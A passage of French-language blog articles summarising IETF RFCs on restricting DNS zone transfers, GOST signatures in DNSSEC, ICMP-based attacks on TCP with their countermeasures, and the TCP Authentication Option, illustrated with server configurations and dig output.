Lorsque les RFC originels sur le DNS avaient été écrits, on prêtait moins d'attention à la sécurité qu'aujourd'hui. Ces RFC ne mentionnaient donc pas la possibilité de restreindre, voire d'interdire le transfert de zones. Comme l'explique la section 5, cette possibilité est au contraire considérée comme vitale aujourd'hui. (Voir mon article « Récupérer une zone DNS ».) Le RFC demande que l'autorisation de transfert puisse se faire par adresses IP, et par des techniques de signature comme TSIG. La politique par défaut devrait être « pas de transfert ».
Voici un exemple avec le serveur nsd (version 3) qui, comme recommandé par le RFC, ne permet pas de transfert par défaut :
zone: name: "bortzmeyer.fr" zonefile: "primary/bortzmeyer.fr" provide-xfr: 192.134.7.248 NOKEY
Ici, la machine 192.134.7.248 (et elle seule) est autorisée à
transférer la zone (directive provide-xfr
). Une
tentative depuis une autre adresse donnera, par exemple sur le serveur :
Jun 28 20:23:58 aetius nsd[25004]: axfr for zone bortzmeyer.fr. \ from client 2a01:e35:8bd9:8bb0:38cf:6d60:b99:4d94 refused, no acl matches
Avec BIND, on s'y prend en général en
définissant des ACL, ici une ACL nommée my-nets
:
acl my-nets { 203.0.113.128/26; 127.0.0.0/8; 2001:db8:3003::/48; };
puis en les utilisant dans les paramètres de la zone :
zone "bortzmeyer.fr" { allow-transfer { my-nets; }; ... };
et une tentative par une autre machine sera rejetée, le serveur notant :
Jun 28 20:27:41 lilith named[20452]: \ client 2a01:e35:8bd9:8bb0:38cf:6d60:b99:4d94#51619: \ zone transfer 'bortzmeyer.fr/AXFR/IN' denied
Et l'intégrité des données transférées ? La section 6 se penche sur la question et spécifie qu'un transfert doit être complet, et avec succès, pour que la zone ainsi transférée soit utilisée (en d'autres termes, le transfert doit être atomique).
On l'a vu, l'ancienne norme était loin d'être claire sur tous les points. La nouvelle est, on l'espère, plus précise. Mais alors, n'y a t-il pas des risques de mauvaise entente entre anciens serveurs et nouveaux clients (ou le contraire) ? La section 7 du RFC est consacrée à ce problème de compatibilité. Elle commence par noter qu'il est difficile de donner des garanties, puisque la sous-spécification du transfert de zones fait que les anciens logiciels présentent une grande variété de comportements. Souvent, cet ancien comportement n'est pas facilement détectable automatiquement, donc la règle est qu'un nouveau logiciel qui souhaite interagir avec les anciens doit le faire via une option de configuration. Limitons nous au point de vue du serveur (section 7.1). Il ne peut pas savoir si le client accepte plusieurs enregistrements par message et l'interaction avec des clients qui n'y arrivent pas nécessite donc une option spécifique (mais qui ne doit pas être activée par défaut). (Pour le point de vue du client, voir la section 7.2.)
Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : V.Dolmatov (Cryptocom)
Intérêt historique uniquement
Première rédaction de cet article le 10 juillet 2010
Dernière mise à jour le 30 août 2019
L'algorithme de signature russe GOST R 34.10-2001 ayant été spécifié en anglais dans le RFC 5832, plus rien ne s'opposait à son utilisation dans DNSSEC. Ce RFC marque donc l'arrivée d'un nouvel algorithme dans les enregistrements DNSSEC, algorithme portant le numéro 12. (Depuis, le GOST R 34.10-2012 a été publié, puis normalisé pour DNSSEC dans le RFC 9558.)
La liste originelle des algorithmes DNSSEC figurait dans le RFC 4034, annexe A.1. La liste actuelle est un
registre à l'IANA, https://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xml#dns-sec-alg-numbers-1
. Elle
comprend désormais GOST. Notez que GOST désigne
en fait une organisation de normalisation, le terme correcte serait
plutôt « GOST R 34.10-2001 » pour l'algorithme de signature et « GOST R 34.11-94 »
pour celui de condensation, décrit dans le RFC 5831
(voir la section 1 de notre RFC 5933).
La section 2 décrit le format des enregistrements
DNSKEY
avec GOST, dans
lequel on publie les clés GOST R 34.10-2001. Le champ
Algorithme vaut 12, le format de la clé sur le réseau suit le RFC 4491. GOST est un algorithme à courbes
elliptiques, courbes décrites par Q = (x,y). Les 32
premiers octets de la clé sont x et les 32 suivants y (en
petit-boutien, attention, contrairement à la
majorité des protocoles Internet). Les autres paramètres de la clé
figurent dans le RFC 4357.
Les bibliothèques cryptographiques existantes sont parfois capables de lire des clés GOST (section 2.1). Pour OpenSSL, il existe une distribution de GOST (par la même entreprise où travaille l'auteur des RFC GOST).
La section 2.2 donne un exemple de clé GOST publiée dans le DNS mais autant utiliser ici un exemple réel (ce domaine a des clés GOST et aussi des clés RSA de type 5) :
% dig +multi DNSKEY caint.su ; <<>> DiG 9.9.2 <<>> +multi DNSKEY caint.su ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61873 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;caint.su. IN DNSKEY ;; ANSWER SECTION: caint.su. 3600 IN DNSKEY 256 3 12 ( HQUwRfZDsGuso1XEVztO9nIt7S6MrC/XNYQ9Agup8oW0 FCfy0T52buB3czWe9YHa0kLgrcFP1pHpu19jdmO70A== ) ; ZSK; alg = ECCGOST; key id = 35724 caint.su. 3600 IN DNSKEY 257 3 5 ( AwEAAdfmAyxcSu09Ik449sIGygbD78jxCKaBek3fhC1a hO7363pdMGlXf8ZEzv7Kl+9yOokmMoTI0peVUqF57it3 hmqcIJQ+OsrKdsF1XBwa8VULaLh+TNb67dkdbj6iZ6Gd WxkD6i2vbjvmVHtoQyKswgeR7lUn42XMRYRbYiIrI5r8 zT/xllwtCCxaC68V6azpk//7GrYpnwS9NGzr2cBignwj Jj6VeAGfrBe5AM0XNplaFLf7NNU34qqGBKpYbogdAYzM Il02dhPvruzDcadbm2a53OI2/fqchjOgZ8wSTfekuJQb ReYWsNUasgqxjydMU5vweSiogGqkrUEzqn5PD/0= ) ; KSK; alg = RSASHA1; key id = 697 caint.su. 3600 IN DNSKEY 257 3 12 ( qMxkfdx4fNxdLDU3z5KGAxrEiL1fm+dxw03js+ACY996 wc1wYiVbmqA1QVUmLg5bO3/IawdItM3jQcigFEi/3A== ) ; KSK; alg = ECCGOST; key id = 33831 caint.su. 3600 IN DNSKEY 256 3 5 ( AwEAAawWrWjeYqJ+07pakuybnkLQz3xbe1rnG2g7ihfO NpSLNYrNOyhcCTRbt3cgJLWR29Qh6uko9Zcd9uylHlY1 ru1HpBQxpzKffwUUki2e7SiTiGrj/DvJz9UH52VZyxi5 qf9neYBz0sxvlrLWC5JMqqGIBRUMx/clPjab72BV7exR ) ; ZSK; alg = RSASHA1; key id = 15876 ;; Query time: 326 msec ;; SERVER: 192.168.2.254#53(192.168.2.254) ;; WHEN: Tue Oct 23 15:59:57 2012 ;; MSG SIZE rcvd: 621
La section 3 décrit le format des enregistrements
RRSIG
, les signatures. On
suit les RFC 4490 et RFC 4357. Voici un exemple
actuellement présent dans le DNS (notez qu'il y a double signature, avec RSA et GOST, la clé GOST étant la 35724) :
dig +dnssec MX caint.su ; <<>> DiG 9.9.2 <<>> +dnssec MX caint.su ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61031 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 10 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ;; QUESTION SECTION: ;caint.su. IN MX ;; ANSWER SECTION: caint.su. 3600 IN MX 10 mail.caint.su. caint.su. 3600 IN RRSIG MX 5 2 3600 20121027063752 20120927063752 15876 caint.su. E5d1eZxLgYxNg1YiNXEyQ5UGJFOyd09bmpo9AtwnpJn0ezSX0wsAnvd1 ExBWf9ue0TnPSknZxofevtOHD3cBw09Lq/ZathhEOvNhHaK4kbMEXWm7 KzwLeNDDhqNbhAbY0duDLEPCA69ege00dJFjBMtqV17TTJ13BxrFXNzs Hmk= caint.su. 3600 IN RRSIG MX 12 2 3600 20121027063752 20120927063752 35724 caint.su. 52NgPC9ZmFwIgL8CsK0C+wwoM+brh4uTfw70yRDJTjbkUVivkdCakDIS YVxPLWaQO6mDMzNwC53QYqwUyEYlEQ== ...
Attention, une particularité de GOST fait que deux signatures des mêmes données peuvent donner des résultats différents, car un élément aléatoire est présent dans la signature.
La section 4 décrit le format des enregistrements
DS
pour GOST. La clé
publique de la zone fille est condensée par GOST R 34.11_94,
algorithme de numéro 3. Voici un exemple dans la nature :
% dig DS caint.su ... caint.su. 345330 IN DS 33831 12 3 267B93EB54BF7707BF5500900722F3B0FBFCA04FF4F1BF22735F9ABB 607832E2
Notez que ce domaine a d'autres clés et aussi la même clé condensée par les algorithmes de la famille SHA, soit six DS en tout.
Ou un autre exemple dans .fr
?
absolight.fr. 172724 IN DS 12545 8 3 ( DDA74E5E94CEA6057072B073F60A5DD37D16DC8E896A EC57B055888DB84B4210 )
Les sections 5 et 6 couvrent des questions pratiques liées au développement et au déploiement de systèmes GOST, par exemple un rappel sur la taille de la clé (512 bits) et sur celle du condensat cryptographique (256 bits).
GOST peut se valider avec Unbound (au moins depuis la version 1.4.4,
voir l'option de compilation --enable-gost
) et
avec BIND (depuis la version 9.8, si elle est
compilée avec un OpenSSL qui a GOST). nsd a
GOST depuis la version 3.2.11, pubiée en juillet 2012. Pour les
programmeurs Java, DNSjava a GOST
depuis la version 2.1.7. Pour le statut (recommandé ou non) de
l'algorithme GOST pour DNSSEC, voir le RFC 8624. On peut trouver des
conseils pratiques pour l'utilisation de GOST en anglais à http://www.cryptocom.ru/dns/dnssec-cryptocom-en.html
.
Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : F. Gont (UTN/FRH)
Pour information
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 7 juillet 2010
Vous voulez tout savoir sur les attaques qu'on peut perpétrer avec le protocole ICMP contre le protocole de couche 4 TCP ? Ce RFC est pour vous. Il documente les différents mécanismes par lesquels une session TCP, même protégée, peut être attaquée via le protocole de signalisation. Il ne fournit pas de solutions absolues mais documente quelques modifications dans les mises en œuvre de TCP qui peuvent réduire la gravité du problème.
D'où vient le problème ? ICMP (RFC 792) est le protocole de signalisation d'IP et permet d'informer les machines qu'un paquet n'a pas pu être transmis ou bien que le trafic est trop intense. Mais ICMP n'a aucun mécanisme de validation (sauf si on encapsule tout dans IPsec) et il est trivial pour un méchant de fabriquer un faux paquet ICMP et de l'envoyer aux machines qu'il veut attaquer. Le méchant n'a même pas besoin d'espionner le réseau visé (alors que la fabrication d'un faux paquet TCP impose de connaitre un numéro de séquence valide, ce qui est très difficile si on en peut pas lire les paquets échangés), ces attaques sont donc faisables sans qu'on soit sur le chemin attaqué (off-path). Le problème est connu depuis longtemps mais ne semble pas avoir jamais été documenté dans un RFC, avec les contre-mesures possibles (section 1 du RFC). Certaines recommandations apparaissent toutefois dans des documents comme le RFC 4907.
Notre RFC 5927 fait ce travail de documentation et suggère des solutions pour limiter les dégâts, sans modifier le protocole TCP lui-même (bien que, parfois, ces solutions sont aux limites de ce que permet le RFC 793), ce qui est conforme aux règles prudentes du groupe de travail IETF tcpm, qui s'interdit de changer le protocole.
La section 2 de notre RFC rappelle ICMP pour les lecteurs débutants. ICMP sert à signaler les problèmes rencontrés par un paquet lors de sa traversée du réseau (cf. RFC 816). Le message ICMP est typiquement émis par un routeur présent sur le trajet et son adresse IP source n'est donc pas forcément celle de la machine avec laquelle on voulait communiquer. Rien ne garantit que le message ICMP arrive bien : comme tout paquet IP, il peut être filtré, victime de la congestion ou, ce qui est fréquent de nos jours, jamais émis en raison du rate limiting, fréquemment configuré sur les routeurs IP, pour éviter qu'ils ne soient DoSés par l'émission de paquets ICMP. TCP ne peut donc pas compter uniquement sur ICMP pour signaler les problèmes, il doit aussi se débrouiller seul, ICMP accélerant simplement la détection des ennuis. ICMP pour IPv4 est normalisé dans le RFC 792. Il fournit plusieurs types de messages d'erreur que le RFC 1122 a ultérieurement classé en erreurs dures et erreurs douces. Plusieurs protocoles ont été développés en utilisant ICMP dont le plus connu est la découverte de la MTU, dans le RFC 1191. ICMP pour IPv6 est dans le RFC 4443 et, si les codes sont légèrement différents de ceux de IPv4, les principes sont les mêmes. Enfin, il existe des extensions à ICMP comme les messages structurés du RFC 4884.
Le RFC 4301 comprend une annexe D qui étudie en détail ICMP, dans le contexte de la sécurité (voir aussi la section 2.3 de notre RFC). Car, officiellement, les anciens RFC comme le RFC 1122 (dans sa section 4.2.3.9) imposaient aux machines connectés à l'Internet de réagir à certains messages ICMP, sans tenir compte du fait que ces messages ne sont pas authentifiés et sans parler de validation, même sommaire. On peut dire que TCP faisait autrefois une confiance aveugle à ICMP (section 2.2).
Cette confiance n'était pas vraiment justifiée. Comme le rappelle la même section, un attaquant peut facilement fabriquer un paquet ICMP vraisemblable, il suffit de connaître les adresses IP source et destination, ainsi que les ports source et destination. Comme expliqué dans des documents comme le RFC 4953, trouver ces quatre chiffres est parfois assez facile. Par exemple, dans le cas d'une connexion BGP sur un point d'échange, les adresses IP des deux pairs sont en général publiques, l'un des ports est le port bien connu de BGP, 179 et l'autre ne peut prendre que 65536 valeurs possibles (moins que cela, en pratique). Un attaquant, même non situé sur le réseau visé, peut donc créer un paquet ICMP qui a de bonnes chances d'être accepté (le plus simple étant de générer les 65536 paquets possibles...)
Bref, il ne faut pas faire confiance à ICMP, comme documenté dans le RFC 4907. Mais l'équilibre est difficile à trouver : si on ignore tous les paquets ICMP, on ne sera averti que très tard des problèmes sur le réseau, lorsque les délais de garde expireront. Si on les accepte tous, on s'expose à de sérieuses DoS. L'idéal est donc que la politique d'acceptation soit réglable.
Le RFC décrit les attaques ICMP possibles après l'analyse des solutions. Mais il me semble plus logique de faire l'inverse et de continuer avec les sections 5, 6 et 7. La section 5 décrit l'attaque de réinitialisation de la connexion en aveugle (blind connection-reset attack). Elle consiste à envoyer un paquet ICMP de type « erreur dure » par exemple type 3 (Destination Unreachable) avec les codes 2 à 4 (protocol unreachable, port unreachable et fragmentation needed and DF bit set). Selon le RFC 1122, TCP devrait alors couper la connexion (notez que les sections 3.2.2.1 et 4.2.3.9 du RFC 1122 se contredisent...) On a donc avec cette attaque un bon moyen de faire un déni de service sans même avoir besoin d'être situé sur le chemin des paquets (d'où le terme d'attaque en aveugle). Pire, certaines mises en œuvre de TCP/IP coupent non seulement la connexion TCP en cause mais aussi toutes celles avec la même machine. D'autre part, il faut bien se rappeler que l'attaque, étant en ICMP, ne dépend pas de la capacité de l'attaquant à fabriquer des paquets TCP et qu'elle marche donc même si la connexion TCP est protégée par des techniques comme le TCP-AO du RFC 5925.
Alors, quelles sont les solutions contre l'attaque de réinitialisation de la connexion ? La section 5.2 les décrit : compte-tenu du fait qu'un code protocol unreachable et même, dans une large mesure port unreachable n'a de sens qu'au début d'une connexion, la recommandation est d'ignorer ces paquets ICMP une fois la connexion établie. Par un raisonnement similaire, les codes fragmentation needed and DF bit set peuvent être ignorés ou plus exactement considérés comme des erreurs douces. Donc, pour résumer, sauf pour les connexions en cours d'établissement, traiter les erreurs dures comme des erreurs douces supprime l'attaque par réinitialisation. Cela a certes des inconvénients (les vrais problèmes seront détectés moins rapidement) mais rien n'est parfait dans le monde cruel de la sécurité. La robustesse de TCP étant la principale motivation pour son utilisation, le compromis semble raisonnable. À noter qu'il est mis en œuvre dans FreeBSD, NetBSD et Linux depuis de nombreuses années. Notre RFC ne fait que le documenter.
Autre attaque possible en ICMP, moins radicale, la réduction de
débit en aveugle (blind throughput reduction,
section 6. Elle consiste pour l'attaquant à envoyer des paquets ICMP
de type 4 (répression de l'envoi, source
quench). TCP devait réagir en ralentissant le débit, voire
en reprenant comme si la connexion était neuve, avec une fenêtre
d'envoi de petite taille. Là encore, l'attaque est connue depuis
longtemps et, comme toutes les études ont montré que la répression de
l'envoi était une mauvaise technique de contrôle de la congestion
(cf. RFC 1812), les
implémentations de TCP ignorent depuis longtemps ces paquets ICMP,
préférant les mécanismes purement TCP (RFC 5681, RFC 3168), même si c'était formellement une violation de la
norme (depuis la sortie du RFC 6633, la norme a rejoint la pratique). Dans le noyau Linux (net/ipv4/tcp_ipv4.c
) :
case ICMP_SOURCE_QUENCH: /* Just silently ignore these. */ goto out;
Autre moyen de diminuer les performances, l'attaque contre la découverte de MTU en aveugle (blind performance-degrading attack, section 7). Si l'une des deux machines connectées en TCP met en œuvre l'algorithme PMTUD du RFC 1981 pour découvrir la MTU du chemin, des faux paquets ICMP peuvent la tromper et lui faire adopter une MTU sous-optimale. Si l'attaquant envoie des paquets ICMP de code 3 et de type 4 (fragmentation needed and DF bit set), indiquant une MTU de petite taille, la machine naïve va réduire la taille des paquets qu'elle envoie, s'empêchant ainsi de tirer profit à fond du réseau (les paquets plus petits sont moins efficaces car la part relative des en-têtes augmente et le « coût » par octet augmente puisque le coût de traitement dépend davantage du nombre de paquets que du nombre d'octets).
Si la machine utilise l'algorithme PMTUD, elle ne peut pas ignorer ces paquets ICMP. Que peut-elle alors faire ? Une solution évidente est d'abandonner PMTUD au profit du RFC 4821. Une autre solution moins radicale, mise en œuvre dans NetBSD, est d'ignorer ces paquets ICMP uniquement si la connexion progresse (si les octets envoyés font l'objet d'accusés de réception) et d'en tenir compte si les octets ne passent plus (ce qui peut indiquer effectivement un endroit où la MTU a baissé). Cette contre-mesure est décrite en grand détail dans la section 7.3.
Bon, tout cela n'est pas satisfaisant. Existe t-il une solution à ce problème de la vulnérabilité d'ICMP ? La section 3 expose d'abord les contraintes auxsquelles doit obéir une solution. Comme le paquet ICMP d'erreur ne contient qu'une partie du paquet original (en IPv4, l'en-tête IP, plus 8 octets), le processus qui va prendre la décision d'accepter ou de refuser le paquet ICMP n'a qu'une information limitée. Le RFC 1122 a autorisé les routeurs à envoyer davantage que ces malheureux huit octets mais ce n'est pas forcément ce qu'ils font. Le RFC 1812 est même plus gourmand en suggérant , pour les routeurs, d'utiliser un paquet de taille totale 576 octets. Pour les machines non-routeuses, il n'y a pas de telle recommandation. (IPv6 offre plus de place dans un paquet sans fragmentation et donc offre davantage d'information.) Avec les huit octets, on a tout juste les deux numéros de port (source et destination) et le numéro de séquence.
Ainsi, même si TCP signait ses segments avec le RFC 2385, l'information contenue dans les paquets ICMP d'erreur ne permettrait pas de valider cette signature. IPsec permettrait d'authenfifier les paquets ICMP envoyés par la machine avec laquelle on correspond mais pas forcément ceux des routeurs intermédiaires. Aujourd'hui, vu l'état du déploiement d'IPsec, cette perspective est tout à fait utopique.
La section 4 fournit des idées générales sur les contre-mesures à adopter pour résister à ces attaques. Par exemple, un test évident mais qui n'avait pas été prévu à l'origine, est de vérifier, en utilisant le numéro de séquence TCP contenu dans le message ICMP suspect, s'il correspond à des données actuellement en transit (envoyées mais qui n'ont pas fait l'objet d'un accusé de réception). Un tel test rend très difficile la tâche de l'assaillant, qui doit désormais trouver un numéro de séquence valide. Là encore, tous les Unix libres font ce test depuis longtemps. Avec Linux, les tests de validité qui échouent sont enregistrés et affichables avec netstat :
% netstat -s ... TcpExt: ... 13 ICMP packets dropped because they were out-of-window
Si vous voyez cet compteur s'incrémenter, cela indique que quelqu'un tente sa chance... Évidemment, si l'attaquant peut espionner le réseau (s'il est on-path), trouver un tel numéro de séquence est trivial. D'autre part, les connexions TCP à haut débit, utilisant de grandes fenêtres (RFC 7323) restent vulnérables car un plus grand pourcentage de l'espace des numéros de séquence est valide, à un moment donné. Enfin, ce test a à la fois des faux positifs (paquets ICMP légitimes mais arrivant en retard, une fois les données réceptionnées) et des faux négatifs (assaillant chanceux). Ai-je déjà dit qu'il n'existe jamais de solution de sécurité parfaite ?
Autre mesure, l'aléatoirisation du port source (section 4.2). L'attaquant devant deviner le port source, si celui-ci est prévisible (machine allouant les ports sources séquentiellement...), on lui facilite la tâche.
Dernière contre-mesure générique, commune à toutes les attaques
ICMP : les pare-feux pourraient regarder dans
les paquets ICMP l'adresse source du paquet TCP qui a déclenché
l'erreur et jeter le paquet ICMP si cette adresse source ne correspond
pas à une machine du réseau interne (section 4.3). En effet, si un méchant situé sur
le réseau 192.0.2.128/25
veut attaquer la machine
203.0.113.2
, il va émettre un faux paquet ICMP
qui porte soi-disant sur un message envoyé par
203.0.113.2
. Le pare-feu du réseau utilisé par le
méchant peut donc voir que ce message est illégitime, puisque
203.0.113.2
n'est pas sur son site. Idem si un
attaquant externe tente de perturber des connexions TCP entre machines
internes. L'article de l'auteur du RFC, « Filtering
of ICMP error messages » donne d'autres exemples. Le
pare-feu d'OpenBSD met en œuvre cette
technique.
Ah, et si vous voulez tester ces attaques vous-même, le code est disponible sur le site Web de l'auteur. Si vous voulez uniquement approfondir votre compréhension de la sécurité de TCP, une lecture recommandée est « CPNI technical note 3/2009 - Security assessment of the Transmission Control Protocol (TCP) ». Il existe d'autres attaques contre TCP et d'autres RFC pour les traiter, voir mon article « La sécurité de TCP : plein de nouveaux RFC depuis trois ans ».
Parmi les nombreux articles qui avaient été publiés à l'époque de la découverte de cette vulnérabilité, je recommande celui fait à l'occasion du Hackaton OpenBSD, qui explique notamment les manœuvres de Cisco pour tenter de breveter les techniques de protection.
Date de publication du RFC : Juin 2010
Auteur(s) du RFC : J. Touch (USC/ISI), A. Mankin (Johns Hopkins University), R. Bonica (Juniper)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 22 juin 2010
Un des problèmes traditionnels de sécurité de l'Internet est la difficulté à s'assurer que le correspondant est bien celui qu'il prétend être. Même une authentification au niveau de l'application ne suffit pas car rien ne garantit qu'un attaquant ne va pas se glisser dans la communication après l'authentification. En effet, rien ne lie la connexion TCP sous-jacente (couche 4) à la communication authentifiée en couche 7. Ce risque de détournement d'une connexion authentifiée est particulièrement important pour les longues sessions comme celles entre deux routeurs BGP ou LDP. Deux méthodes ont été normalisées pour cela, IPsec (RFC 4301) et TLS (RFC 5246). La première, complexe à déployer entre organisations, n'a pas été un grand succès et la seconde nécessite une adaptation des protocoles applicatifs. Que reste t-il comme solution ?
Il y en a bien d'autres, bien sûr, comme SSH, mais plusieurs protocoles, à commencer par BGP, n'avaient pas envie de s'adapter et cherchaient à sous-traiter le problème de l'authentification et de l'intégrité de la connexion à des couches inférieures, IP ou TCP. La complexité d'IPsec en ayant fait reculer beaucoup, la solution de loin la plus fréquente dans le monde des opérateurs BGP (cf. RFC 4953) était la signature TCP du RFC 2385. Elle fonctionne en calculant un condensat cryptographique du paquet TCP et d'un secret partagé entre les deux machines (MD5 password dans le vocabulaire BGP). Grâce à l'inclusion de ce secret, un tiers, même s'il a accès au réseau sous-jacent, ne peut pas injecter de paquets TCP prétendant venir du pair.
Cette technique fonctionne mais a de nombreuses limites, comme le fait d'être lié à une fonction de hachage particulière, MD5, que des années de cryptanalyse ont laissé en piteux état. Notre RFC 5925 la remplace donc par une meilleure solution, l'option TCP d'authentification.
Cette option offre en outre une meilleure protection contre le rejeu, et d'une manière générale une meilleure spécification. La section 1 du RFC rappelle le long historique de cette option. La section 3 résume les raisons de son introduction : la principale est le perfectionnement régulier des attaques contre MD5, alors que le RFC 2385 ne permet pas d'utiliser d'autres algorithmes. En prime, il ne permet pas de changer les clés facilement (aucune fonction de gestion de clés, même très sommaire).
La section 3 présente aussi les principes du nouvel
algorithme : fonctionnement identique à celui de son prédécesseur
(calcul d'un condensat cryptographique sur le paquet, avec
concaténation d'un secret), pas de solution complète de gestion de clés (l'espace
pour les options dans l'en-tête TCP est bien trop faible pour cela),
mais il fonctionne avec plusieurs algorithmes. D'une manière générale,
il suit les recommandations du cahier des charges (jamais publié en
RFC) draft-bellovin-tcpsec
(voir aussi la section 12 pour un bilan détaillé de cette nouvelle
option par rapport à son cahier des charges).
Quelles sont les applications possibles de cette option d'authentification (section 3.1) ? Essentiellement les sessions TCP de longue durée comme avec BGP (où les sessions de plusieurs semaines ne sont pas rares). Si tous les exemples actuels d'usage concernent des protocoles de routage, l'option ne leur est pas spécifique (même si le RFC ne le cite pas, on peut penser aussi aux longs flux de certaines applications de communication audio ou vidéo, dont la session de contrôle peut utiliser TCP). Comme IPsec est la solution officielle de l'IETF à tous les problèmes de sécurité, la même section rappelle que cette option ne remplace pas IPsec, même si personne n'en tiendra compte. La section 3.1 note aussi que l'option d'authentification TCP de notre RFC ne protège que la session, pas les données qui y transitent, qui ont pu être relayées par plusieurs acteurs (dans le cas de BGP, par plusieurs routeurs). TCP-AO (TCP Authentication Option) ne remplace donc pas les différents projets de BGP « sécurisé ». Bref, TCP-AO enrichit la palette des outils de sécurisation des protocoles mais ne prétend absolument pas être la solution à tous les problèmes.
La section 3.2 fournit un résumé de la nouvelle option TCP-AO. Elle utilise le mécanisme d'options décrit dans la section 3.1 du RFC 793, avec un nouveau numéro, 29, réservé à l'IANA (cf. section 14 du RFC), différent du numéro 19 du RFC 2385.
Contrairement à IPsec, TCP-AO n'a pas de Security Index (un identificateur unique pour une association de sécurité) explicite mais utilise pour cela le 4-tuple {adresse IP source, port source, adresse IP de destination, port destination}. Il ne permet pas le chiffrement et donc n'assure pas la confidentialité des données, seulement leur authentification et leur intégrité. De plus, il est spécifique à TCP et ne protège donc pas les paquets ICMP (cf. section 9.8).
La section 4 spécifie rigoureusement la nouvelle option numérotée 29. Son format figure en section 4.2 (l'ancien est rappelé en 4.1). La principale nouveauté est le champ KeyID, un octet qui indique la structure de données qui a été utilisée pour générer les clés de session. Cette structure, le MKT (Master Key Tuple) est décrite en détail en section 5.1. Il est important de noter que l'algorithme de hachage choisi n'apparait pas dans l'option TCP-AO (contrairement à des protocoles comme, par exemple, DNSSEC) mais qu'on l'obtient indirectement.
Et la gestion des clés ? Comment se fait-elle avec TCP-AO ? La section 5 explique les deux jeux de clés de TCP-AO : les clés maîtresses (MKT, pour Master Key Tuple) et les clés de session (traffic keys). Les MKT contiennent les paramètres de cryptographie, et elles servent à fabriquer des clés de session. Le MAC dans les paquets TCP est calculé à partir des clés de session.
Les MKT sont présentées en détail en section 5.1. Une MKT comprend :
Le MKT doit rester stable pendant toute une connexion TCP.
À partir du MKT va être calculée la clé de session (section 5.2), en incluant des paramètres supplémentaires comme l'ISN (Initial Sequence Number, voir la section 3.3 du RFC 793), en utilisant une fonction cryptographique nommé KDF (Key Derivation Function).
L'un des plus nets avantages de TCP-AO sur l'ancienne méthode du RFC 2385 est la possibilité de changer d'algorithme de hachage. La section 7 décrit les mécanismes généraux, les algorithmes actuellement utilisables étant dans un autre document, le RFC 5926 (en effet, comme l'ont montré les attaques contre MD5 et SHA-1, les algorithmes de cryptographie doivent être changés plus souvent que les protocoles, ce qui justifie un document séparé, qui rendra plus simple ce changement). Un autre registre IANA existe, pour ces algorithmes. La section 7.1 rappelle le fonctionnement d'un MAC : en échange d'une suite de bits et d'une clé, la fonction de hachage produit un résumé. Si la fonction de hachage est cryptographiquement bien choisi, on ne peut pas (autrement que par force brute) fabriquer une suite de bits qui donne le même résumé. L'ajout de la clé sert à assurer en outre que la suite de bits vient bien de l'émetteur attendu, seul, avec le récepteur, à connaître la clé.
La même section décrit précisement les parties du paquet qui doivent être utilisées comme point d'entrée pour la fonction de calcul du MAC. On y trouve le « pseudo-en-tête » IP comme dans la section 3.1 du RFC 793 mais aussi l'en-tête TCP (avec ou sans les options, comme indiqué dans la MKT) et les données.
Suivant le même modèle, la section 7.2 décrit le fonctionnement de la KDF, qui permet de calculer la clé de session à partir de la MKT. Un des paramètres d'entrée est l'état de la connexion TCP (incluant par exemple les numéros de séquence TCP initiaux), faisant ainsi des clés de session uniques par connexion TCP.
Rappelons que TCP-AO ne fournit pas une solution complète de gestion de clés. Il ne permet pas d'en changer de manière synchronisée en cours de session (contrairement à TLS), il ne permet pas de les négocier au début de la session... Tout doit se faire out-of-band. La section 7.3, consacrée aux clés, recommande juste de suivre les bonnes pratiques habituelles, comme déjà recommandé par le RFC 3562. Les utilisateurs doivent donc veiller par eux-mêmes à ce que les clés aient une longueur suffisante, doivent éviter de partager les MKT entre connexions indépendantes (par exemple avec des pairs BGP différents), etc.
TCP-AO fournit toutefois quelques mécanismes pour jouer avec les clés, comme l'indication de l'identificateur de la MKT, qui permet de coordonner le passage d'une MKT à une autre (section 8.1). Le choix des MKT et l'attribution des identificateurs se fait en dehors du protocole mais le démarrage de l'utilisation effective peut être synchronisé par le champ KeyID de TCP-AO.
D'autres mécanismes de sécurité sont décrits en section 8, comme les solutions anti-rejeu de la section 8.2. Comme les numéros de séquence TCP ne sont stockés que sur 32 bits, et qu'ils peuvent donc légitimement être réutilisés pendant une connexion TCP de longue durée, TCP-AO ajoute une extension à ces numéros, la SNE (Sequence Number Extension) qui, combinée avec le numéro de séquence, donne effectivement un numéro unique à chaque octet transmis. (Ou quasi-unique puisqu'il ne sera réutilisé qu'au bout de 100 exa-octets transmis. Et rappelez-vous que la MAC inclus les données donc une collision accidentelle ne se produira que si le numéro de séquence et les données sont identiques. En pratique, on peut dormir tranquille.)
La meilleure cryptographie du monde ne sert que s'il y a une
liaison solide avec le canal qu'elle protège. La section 9 discute
donc des interactions entre TCP et son option d'authentification
TCP-AO. D'abord, l'interface de programmation (section 9.1). Aux commandes classiques de TCP (OPEN
,
SEND
, etc, ou, pour utiliser les termes de
l'API socket,
connect()
,
write()
, etc) viennent
s'ajouter des commandes pour configurer les MKT, et pour choisir la MKT active. J'avoue ne pas savoir
quelle forme elles prendront exactement sur
Unix.
Ensuite, TCP lui-même doit être modifié pour, si une MKT est active, signer les données et inclure cette signature dans le champ Options du segment. Il faut aussi évidemment la vérifier à la réception (sections 9.4 et 9.5). Cet ajout dans un champ Options dont la taille est très limitée (40 octets en tout) ne va pas sans mal. La section 9.6 discute de la taille de l'en-tête et explique que, si on utilise TCP-AO, on ne peut pas espérer utiliser en même temps toutes les autres options TCP normalisées.
Aucune solution de sécurité n'est parfaite et toutes apportent
leurs propres problèmes. La réduction de la
place libre pour les options est un bon exemple. Un autre est le cas
d'une machine qui redémarre alors qu'une connexion TCP était
